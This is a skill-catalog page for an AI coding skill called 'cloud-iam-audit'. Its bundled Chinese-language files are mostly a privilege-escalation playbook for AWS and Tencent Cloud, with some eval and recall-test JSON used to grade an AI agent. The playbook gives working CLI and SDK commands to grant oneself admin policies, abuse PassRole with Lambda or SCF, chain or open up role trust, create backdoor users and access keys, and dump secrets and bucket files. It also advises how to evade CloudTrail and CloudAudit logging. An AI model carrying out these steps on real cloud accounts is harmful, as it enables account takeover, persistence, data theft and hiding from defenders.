
Cloud Iam Audit
- 28 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cloud-iam-audit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cloud-iam-audit
- AI & Agent Building
- AI-coding skill
Cloud Iam Audit by the numbers
- 28 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,462 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cloud-iam-auditAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 28 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
云 IAM 权限审计与提权方法论
IAM/CAM 权限就是攻击面——一个过度授权的策略比一个 RCE 漏洞更危险。
⛔ 深入参考(必读)
- AWS 5 条提权路径详细命令、高价值数据搜索、CloudTrail 隐蔽性 → references/aws-escalation.md
- 腾讯云 CAM 提权路径、tccli/SDK 命令、CloudAudit 隐蔽性 → references/tencent-cam-escalation.md
---
Phase 1: 凭据识别与身份确认
| 凭据 | 格式 | 来源 |
|---|---|---|
| AWS AK/SK | AKIA... (20字符) | 配置文件、环境变量、元数据 |
| AWS 临时凭据 | ASIA... + SessionToken | IMDS、STS AssumeRole |
| Azure SPN | client_id + client_secret + tenant_id | 配置文件 |
| GCP SA Key | JSON 文件含 private_key | 服务账号密钥文件 |
| 腾讯云 SecretId/SecretKey | AKIDz... (36字符) / xxx= (Base64) | 配置文件、环境变量、元数据 |
| 腾讯云临时凭据 | SecretId/SecretKey + Token/ExpiredTime | 元数据、STS AssumeRole |
# AWS: 我是谁
aws sts get-caller-identity
# Azure
az account show
# GCP
gcloud auth list
# 腾讯云: 我是谁(优先使用 tccli)
tccli sts GetCallerIdentity
# 或使用 SDK
python3 -c "
from tencentcloud.sts.v20180813 import sts_client, models
from tencentcloud.common import credential
cred = credential.Credential('SecretId', 'SecretKey')
client = sts_client.StsClient(cred, 'ap-guangzhou')
print(client.GetCallerIdentity(models.GetCallerIdentityRequest()).to_json_string())
"腾讯云凭据配置
# 交互式配置 tccli(优先)
tccli configure
# 输入: SecretId, SecretKey, Region(如 ap-guangzhou), Output(json)
# 使用临时凭据时需额外设置 Token
tccli configure set token "TOKEN_VALUE"
# 也可通过环境变量设置
export TENCENTCLOUD_SECRET_ID="AKIDz..."
export TENCENTCLOUD_SECRET_KEY="xxxx="
export TENCENTCLOUD_SESSION_TOKEN="TOKEN" # 临时凭据时---
Phase 2: 权限枚举
AWS 权限枚举
aws iam list-attached-user-policies --user-name <user>
aws iam list-attached-role-policies --role-name <role>
# 暴力枚举
aws s3 ls 2>&1; aws ec2 describe-instances 2>&1; aws iam list-users 2>&1腾讯云 CAM 权限枚举(tccli 优先)
# 1. 账户概览
tccli cam GetAccountSummary
# 2. 列出子用户
tccli cam ListUsers
# 3. 列出用户组
tccli cam ListGroups --Page 1 --Rp 50
# 4. 列出角色(关键——角色可被 AssumeRole 利用)
tccli cam DescribeRoleList --Page 1 --Rp 50
# 5. 列出策略(自定义策略是提权关键)
tccli cam ListPolicies --Scope Local --Page 1 --Rp 100 # 仅自定义策略
tccli cam ListPolicies --Scope All --Page 1 --Rp 100 # 全部策略
# 6. 查看具体策略内容
tccli cam GetPolicy --PolicyId <PolicyId> --PolicyVersion 1
# 7. 查看用户关联的策略
tccli cam ListAttachedUserPolicies --TargetUin <UIN>
# 8. 查看角色关联的策略
tccli cam ListAttachedRolePolicies --RoleId <RoleId>
# 9. 查看用户组关联的策略
tccli cam ListAttachedGroupPolicies --GroupId <GroupId>
# 10. 列出用户的 AccessKey
tccli cam ListAccessKeys
# 11. 查看角色详情(含 Trust Policy——跨账号攻击关键)
tccli cam GetRole --RoleId <RoleId>
# 12. 查看用户所属的组
tccli cam ListGroupsForUser --Uin <UIN>腾讯云暴力枚举(逐服务探测)
# COS 存储(tccli cos 不支持 GetService,需用 SDK 或 coscli)
coscli ls 2>&1
# 或 Python SDK:
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())
# CVM 实例
tccli cvm DescribeInstances 2>&1
# SCF 云函数(类似 Lambda 提权路径)
tccli scf ListFunctions --Namespace default --Limit 50 2>&1
# CBS 云硬盘
tccli cbs DescribeDisks 2>&1
# SSL 证书(可能包含私钥)
tccli ssl DescribeCertificates --Limit 50 2>&1
# TDSQL/MySQL
tccli cdb DescribeDBInstances 2>&1
# 密钥管理(KMS)
tccli kms ListKeys --Limit 50 2>&1权限等级速查
| 能做的操作 | 提权可能 |
|---|---|
| GetCallerIdentity 仅此 | 低 |
| cos:GetObject / s3:GetObject | 中(可能找到更多凭据) |
| cam:List, cam:Get / iam:List, iam:Get | 中(可分析提权路径) |
| cam:CreateUser/AttachUserPolicy | 高(直接提权) |
| cam:CreateRole/AttachRolePolicy | 高(创建高权限角色) |
| cam:PassRole + scf:CreateFunction | 高(间接提权——SCF 挂高权限角色) |
| sts:AssumeRole | 高(跳到更高权限角色) |
---
Phase 3: 提权决策树
当前权限?
├─ 能操作 IAM/CAM(CreatePolicy/AttachPolicy)→ 直接提权
├─ 有 PassRole + Lambda/SCF → 间接提权(创建服务挂高权限 Role)
├─ 有 AssumeRole → 角色链跳转
├─ 只有数据读取 → 找更多凭据(COS/S3/Secrets/Lambda/SCF 代码/User-Data)
└─ 详细命令
├─ AWS → [references/aws-escalation.md](references/aws-escalation.md)
└─ 腾讯云 → [references/tencent-cam-escalation.md](references/tencent-cam-escalation.md)注意事项
- 云凭据提权核心:能操作 IAM/CAM 本身 才能提权
- 临时凭据有过期时间,优先用长期 AK/SK 或创建后门 Access Key
- 跨账号 Trust Policy 是关键审计点
- 腾讯云角色 Trust Policy 用
qcs::cam::uin/ROOT_UIN:uin/ANY_UIN格式 - 腾讯云策略语法与 AWS 类似但用
qcs资源描述符 - 操作会产生 CloudTrail/CloudAudit 日志,注意操作痕迹
提权路径概览
- 直接提权:创建策略赋予自己
*:*权限 - 间接提权:PassRole + SCF/Lambda 创建函数挂高权限角色
- 角色链:当前身份 → AssumeRole → 更高权限角色
- 权限枚举工具:enumerate-iam、Pacu (AWS);自定义脚本 (腾讯云)
{
"skill_name": "cloud-iam-audit",
"evals": [
{
"id": 1,
"name": "iam-passrole-lambda-privesc",
"prompt": "AWS IAM 用户有以下权限:iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction。请描述具体的提权步骤(包含 AWS CLI 命令)。",
"expected_output": "创建 Lambda 附加高权限 Role → Lambda 代码调用 iam:AttachUserPolicy → 执行获取 AdministratorAccess",
"expectations": [
"lambda create-function|创建Lambda函数|附加角色",
"iam:PassRole|传递高权限角色|AdministratorAccess角色",
"lambda invoke|执行函数|提权代码",
"创建策略版本|AttachPolicy|给自己提权",
"Lambda代码|boto3|iam.attach_user_policy"
],
"required_terms": [
"iam:PassRole",
"AttachPolicy",
"lambda create-function"
]
},
{
"id": 2,
"name": "iam-credential-type-identification",
"prompt": "你在配置文件中发现一个 AWS 凭据,AccessKeyId 以 'ASIA' 开头。这和以 'AKIA' 开头的有什么区别?对你的利用有什么影响?",
"expected_output": "AKIA=长期凭据(IAM User),ASIA=临时凭据(STS),需要额外的 SessionToken 才能使用",
"expectations": [
"AKIA|长期凭据|IAM User|永久密钥",
"ASIA|临时凭据|STS|AssumeRole",
"SessionToken|AWS_SESSION_TOKEN|必须同时使用",
"有过期时间|Expiration|临时有效",
"sts get-caller-identity|验证|确认身份"
],
"required_terms": [
"AKIA",
"ASIA",
"STS"
]
},
{
"id": 3,
"name": "iam-bruteforce-permission-enum",
"prompt": "你有 AWS 凭据但 iam:ListPolicies 被拒绝,无法直接查看自己的权限。请描述如何通过暴力枚举确定你有哪些权限。",
"expected_output": "逐个尝试 API 调用,根据 AccessDenied vs 正常响应判断。s3 ls、ec2 describe-instances、iam list-users 等逐一尝试",
"expectations": [
"暴力枚举|逐个尝试|API调用|权限探测",
"AccessDenied|拒绝|正常响应|判断有无权限",
"s3 ls|ec2 describe|iam list-users|常见API",
"enumerate-iam|Pacu|自动化工具",
"不同服务|S3|EC2|Lambda|IAM|逐服务测试"
],
"required_terms": [
"API调用",
"IAM",
"ec2 describe"
]
}
]
}
{
"skill_id": "cloud-iam-audit",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"cloud iam",
"iam audit",
"权限",
"凭据"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "云厂商搜索",
"keywords": [
"aws",
"azure",
"gcp",
"提权"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被web漏洞召回",
"keywords": [
"sql injection",
"xss"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "cloud-iam-audit-scenario",
"scenario": "目标 AWS 环境中发现了一个 IAM 用户有 iam:PassRole 权限。请搜索 IAM 提权相关的方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "iam|cloud|权限提升|privilege"
},
{
"tool": "read_skill",
"id": "cloud-iam-audit"
}
]
}
]
}
AWS IAM 提权路径详解
路径 1: iam:CreatePolicyVersion
# 直接给自己 AdministratorAccess
aws iam create-policy-version \
--policy-arn <当前策略ARN> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default路径 2: iam:PassRole + lambda:CreateFunction
# 创建 Lambda 函数,挂载高权限 Role → Lambda 内用 Role 权限操作
aws lambda create-function \
--function-name pwn \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/AdminRole \
--handler index.handler \
--zip-file fileb://pwn.zip路径 3: iam:PassRole + ec2:RunInstances
# 启动 EC2 实例,挂载高权限 Instance Profile
# 然后通过 IMDS 获取该 Role 的凭据路径 4: sts:AssumeRole
# 列出可 Assume 的 Role
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS==`arn:aws:iam::ACCOUNT:user/current-user`]]'
# Assume 高权限 Role
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/AdminRole --role-session-name pwn路径 5: 跨账号 AssumeRole
检查 Trust Policy 中是否信任其他账号。如果信任 * 或宽泛的 Principal → 可从任何 AWS 账号 Assume。
通用提权思路
1. 找更多凭据:S3 桶、Secrets Manager、Parameter Store、Lambda 代码、EC2 User-Data 2. 角色链跳转:当前 Role → AssumeRole → 更高权限 Role 3. 创建后门:创建新用户/Access Key、修改策略、添加信任关系 4. 服务利用:通过 Lambda/EC2/ECS 等服务间接获取 Role 权限
高价值数据搜索
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>
# Parameter Store
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
# S3 敏感文件
aws s3 ls s3://<bucket> --recursive | grep -iE "\.env|backup|password|credential|key|secret"CloudTrail 隐蔽性
- 所有 API 调用都会被 CloudTrail 记录
- 低噪音:
sts:GetCallerIdentity、s3:GetObject - 高噪音:
iam:CreateUser、iam:AttachPolicy、ec2:RunInstances - 某些 region 可能未开启 CloudTrail
- GuardDuty 会检测异常 API 调用模式
腾讯云 CAM 提权路径详解
前置: tccli 配置与验证
# 安装 tccli
pip install tccli
# 配置凭据
tccli configure
# SecretId: AKIDz...
# SecretKey: xxx=
# Region: ap-guangzhou
# Output: json
# 使用临时凭据需额外设置 Token
tccli configure set token "TOKEN_VALUE"
# 验证身份
tccli sts GetCallerIdentity
# 返回 Arn、AccountId、PrincipalId 等信息---
路径 1: cam:CreatePolicy + cam:AttachUserPolicy(直接提权)
如果有创建策略并绑定到用户的权限,直接创建管理员策略并绑定给自己。
# 1. 创建管理员策略
tccli cam CreatePolicy \
--PolicyName "my-admin-policy" \
--PolicyDocument '{"version":"2.0","statement":[{"effect":"allow","action":"*","resource":"*"}]}' \
--Description "admin policy"
# 记录返回的 PolicyId
# 2. 绑定策略到当前用户(需要知道自己的 UIN)
tccli sts GetCallerIdentity # 获取自己的 UIN
tccli cam AttachUserPolicy --PolicyId <PolicyId> --AttachUin <YOUR_UIN>
# 现在拥有完全控制权限Python SDK 方式(tccli 无法构造复杂参数时)
import json
from tencentcloud.common import credential
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.cam.v20190116 import cam_client, models
cred = credential.Credential("SecretId", "SecretKey")
httpProfile = HttpProfile()
httpProfile.endpoint = "cam.tencentcloudapi.com"
clientProfile = ClientProfile()
clientProfile.httpProfile = httpProfile
client = cam_client.CamClient(cred, "", clientProfile)
# 创建策略
req = models.CreatePolicyRequest()
req.PolicyName = "my-admin-policy"
req.PolicyDocument = json.dumps({
"version": "2.0",
"statement": [{"effect": "allow", "action": "*", "resource": "*"}]
})
resp = client.CreatePolicy(req)
policy_id = json.loads(resp.to_json_string())["PolicyId"]
print(f"PolicyId: {policy_id}")
# 绑定到用户
req2 = models.AttachUserPolicyRequest()
req2.PolicyId = policy_id
req2.AttachUin = YOUR_UIN # 替换为你的 UIN
client.AttachUserPolicy(req2)---
路径 2: cam:PassRole + scf:CreateFunction(SCF 云函数提权)
类似 AWS Lambda 提权,创建 SCF 云函数挂载高权限角色。
# 1. 列出可用的角色
tccli cam DescribeRoleList --Page 1 --Rp 50
# 2. 查看角色的信任策略(确认可被 SCF 服务 assume)
tccli cam GetRole --RoleId <RoleId>
# 3. 创建 SCF 函数(需要构造部署包)
# 先创建包含提权代码的 zip 包创建提权用的 SCF 函数
# index/main.py — SCF 函数代码
import json, os
from tencentcloud.common import credential
from tencentcloud.cam.v20190116 import cam_client, models
def main_handler(event, context):
# 在 SCF 运行环境中,角色凭据可通过元数据获取
# 这里利用 SCF 挂载的角色权限执行操作
import urllib.request
# 获取临时凭据
req = urllib.request.Request("http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/")
# ... 获取角色凭据后可执行任意操作
return {"statusCode": 200, "body": json.dumps({"msg": "done"})}# 打包
echo 'import json
def main_handler(event, context):
return {"statusCode": 200, "body": json.dumps(event)}
' > index.py
zip func.zip index.py
# 创建 SCF 函数(通过 tccli)
tccli scf CreateFunction \
--FunctionName "pwn-func" \
--Runtime Python3.6 \
--Handler index.main_handler \
--Code '{"ZipFile":"'"$(base64 -w0 func.zip)"'"}'
# 如果需要指定角色(PassRole)
# 注意: tccli 对复杂 JSON 参数支持有限,可能需要用 SDKPython SDK 创建 SCF + 指定角色
import json, base64
from tencentcloud.common import credential
from tencentcloud.scf.v20180416 import scf_client, models
cred = credential.Credential("SecretId", "SecretKey")
client = scf_client.ScfClient(cred, "ap-guangzhou")
with open("func.zip", "rb") as f:
zip_b64 = base64.b64encode(f.read()).decode()
req = models.CreateFunctionRequest()
req.FunctionName = "pwn-func"
req.Runtime = "Python3.6"
req.Handler = "index.main_handler"
req.Role = "qcs::cam::uin/ROOT_UIN:roleName/AdminRole" # 高权限角色
req.Code = json.dumps({"ZipFile": zip_b64})
resp = client.CreateFunction(req)---
路径 3: sts:AssumeRole(角色链跳转)
# 1. 列出所有角色
tccli cam DescribeRoleList --Page 1 --Rp 50
# 2. 查看角色的信任策略
tccli cam GetRole --RoleId <RoleId>
# 检查 PolicyDocument 中的 Principal 是否允许当前身份
# 3. Assume 角色
tccli sts AssumeRole \
--RoleArn "qcs::cam::uin/ROOT_UIN:roleName/RoleName" \
--RoleSessionName "pwn-session" \
--DurationSeconds 7200
# 返回临时凭据: Credentials.SecretId, Credentials.SecretKey, Credentials.Token
# 配置新凭据
tccli configure set secretId "NEW_SECRET_ID"
tccli configure set secretKey "NEW_SECRET_KEY"
tccli configure set token "NEW_TOKEN"---
路径 4: 跨账号 Trust Policy 攻击
检查角色的信任策略(PolicyDocument)中是否信任了过宽泛的 Principal。
# 获取角色详情
tccli cam GetRole --RoleId <RoleId>
# 检查返回的 PolicyDocument
# 危险配置示例:
# "Principal": {"qcs": ["qcs::cam::uin/ROOT_UIN:uin/*"]}
# 如果信任了 * 或其他账号的 UIN → 可从任何被信任的账号 Assume修改信任策略(如果有 UpdateAssumeRolePolicy 权限)
tccli cam UpdateAssumeRolePolicy \
--RoleId <RoleId> \
--PolicyDocument '{"version":"2.0","statement":[{"effect":"allow","principal":{"qcs":["qcs::cam::uin/ROOT_UIN:uin/ANY_UIN"]},"action":"name/sts:AssumeRole"}]}'---
路径 5: 创建后门 AccessKey
# 如果有创建子用户和 AccessKey 的权限
# 创建子用户
tccli cam AddUser --Name "backdoor-user" --Remark "service account"
# 创建 AccessKey(需要用 SDK,tccli 不直接支持)Python SDK 创建 AccessKey
from tencentcloud.cam.v20190116 import cam_client, models
from tencentcloud.common import credential
cred = credential.Credential("SecretId", "SecretKey")
client = cam_client.CamClient(cred, "")
# 创建 AccessKey
req = models.CreateAccessKeyRequest()
resp = client.CreateAccessKey(req)
# 返回新的 SecretId 和 SecretKey — 持久化后门
print(resp.to_json_string())---
高价值数据搜索
# COS 存储桶列表(tccli 不支持 GetService,使用 coscli 或 SDK)
coscli ls
# 或 Python SDK:
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())
# COS 下载敏感文件(用 coscli 更方便)
# 安装 coscli
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli
chmod +x coscli
./coscli config init # 配置凭据
# 列出桶内容
./coscli ls cos://BUCKET-APPID/ -r
# 下载敏感文件
./coscli cp cos://BUCKET-APPID/.env ./
./coscli cp cos://BUCKET-APPID/backup.sql ./
# KMS 密钥
tccli kms ListKey --Limit 50
# SSL 证书(可能含私钥)
tccli ssl DescribeCertificates --Limit 50---
CloudAudit 隐蔽性
腾讯云 CloudAudit 记录所有 API 调用,与 AWS CloudTrail 类似。
- 低噪音操作:
sts:GetCallerIdentity,cos:GetObject,cam:GetAccountSummary - 高噪音操作:
cam:CreateUser,cam:AttachUserPolicy,cam:CreateRole,scf:CreateFunction - 隐蔽建议:
- 优先使用已有策略而非创建新策略
- AssumeRole 比创建新用户更隐蔽
- 检查目标是否开启了 CloudAudit:
tccli cloudaudit DescribeAuditTracks - 部分操作可在不同 region 执行以分散日志
SAML/OIDC 身份提供商审计
# 列出 SAML 身份提供商
tccli cam ListSAMLProviders
# 查看 SAML 提供商详情
tccli cam GetSAMLProvider --Name <ProviderName>
# 查询 OIDC 配置
tccli cam DescribeOIDCConfig
tccli cam DescribeUserOIDCConfig
# 查询用户 SAML 配置
tccli cam DescribeUserSAMLConfig